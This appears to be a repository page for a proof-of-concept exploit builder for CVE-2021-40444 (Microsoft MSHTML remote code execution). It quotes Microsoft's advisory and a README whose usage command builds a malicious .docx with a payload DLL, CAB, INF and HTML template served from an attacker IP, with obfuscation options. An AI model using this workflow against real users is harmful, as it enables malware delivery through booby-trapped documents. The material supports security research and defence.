CVE-2021-40444 PoC — Microsoft MSHTML Remote Code Execution Vulnerability

Source

https://github.com/H0j3n/CVE-2021-40444

Associated Vulnerability

Title:Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444)
Description:Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents. An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights. Microsoft Defender Antivirus and Microsoft Defender for Endpoint both provide detection and protections for the known vulnerability. Customers should keep antimalware products up to date. Customers who utilize automatic updates do not need to take additional action. Enterprise customers who manage updates should select the detection build 1.349.22.0 or newer and deploy it across their environments. Microsoft Defender for Endpoint alerts will be displayed as: “Suspicious Cpl File Execution”. Upon completion of this investigation, Microsoft will take the appropriate action to help protect our customers. This may include providing a security update through our monthly release process or providing an out-of-cycle security update, depending on customer needs. Please see the Mitigations and Workaround sections for important information about steps you can take to protect your system from this vulnerability. UPDATE September 14, 2021: Microsoft has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. Please see the FAQ for important information about which updates are applicable to your system.

Readme

# CVE-2021-40444

## Usage

Ensure to run `setup.sh` first as you will need few directories. Once you have
run the script, you should be able to run `gen.py` with the example given:-

```python
# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3

# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx 
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf 
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity
```

## Notes

1. The location of `http.server` will be in `web` directory. This directory will
   have 3 files:-

- .cab
- .html
- .docx


### Without Verbose

![without_verbose](https://github.com/H0j3n/CVE-2021-40444/blob/main/src/without_verbose.png)

### With Verbose

![with_verbose](https://github.com/H0j3n/CVE-2021-40444/blob/main/src/with_verbose.png)

## Disclaimer

This repository is for educational purpose only and not intended to be used in
the wild for bad intention. Any illegal use of this repo is strictly at your own
responsibilty and risk.

## References

1. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444
3. https://github.com/klezVirus/CVE-2021-40444
4. https://github.com/lockedbyte/CVE-2021-40444
5. https://trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day--cve-2021-40444--hits-windows--tr.html
6. https://tenable.com/blog/microsoft-s-september-2021-patch-tuesday-addresses-60-cves-cve-2021-40444
7. https://news.sophos.com/en-us/2021/09/14/big-office-bug-squashed-for-september-2021s-patch-tuesday/
8. https://huntress.com/blog/cybersecurity-advisory-hackers-are-exploiting-cve-2021-40444
9. https://microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/
10. https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/
11. https://blog.sunggwanchoi.com/remote-template-injection/
12. https://youtube.com/watch?v=dgdx3QqPCuA
13. https://businessinsights.bitdefender.com/technical-advisory-zero-day-vulnerability-in-microsoft-mshtml-allows-remote-code-execution

File Snapshot

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